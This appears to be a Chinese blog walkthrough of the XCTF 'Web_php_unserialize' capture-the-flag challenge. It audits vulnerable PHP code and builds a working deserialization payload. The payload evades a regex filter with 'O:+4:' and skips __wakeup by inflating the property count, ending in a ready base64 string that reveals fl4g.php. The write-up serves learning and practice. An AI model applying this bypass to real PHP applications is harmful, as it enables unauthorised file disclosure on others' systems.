XCTF-高手进阶区:Web_php_unserialize(详解)

在这里插入图片描述
代码审计:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)实例化对象

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;

//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

(2)分析代码

if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL
    $var = base64_decode($_GET['var']); //bse64解密var
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$var
        die('stop hacking!'); //停止脚本并输出stop hacking!
    } else {
        @unserialize($var); //反序列化$var
    } 
} else { 
    highlight_file("index.php"); //对index.php进行语法高亮显示
} 

最终目的是看到fl4g.php里的内容,那么我们需要做到的就两点:

  • 绕过preg_match
  • 绕过__wakeup

(3)payload

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

注意:不同修饰符序列化后的值不一样

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10

特别注意的是,因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},并没有看到\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)

如果你使用其它软件base64编码时,经过url解码后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";})也是没有\x00的;但是,你可以使用bp的Decoder模块进行编码,将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}中的Demo前后添加空字符00,如下:
在这里插入图片描述
接下来添加空字符:
在这里插入图片描述

(4)执行payload
在这里插入图片描述

  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值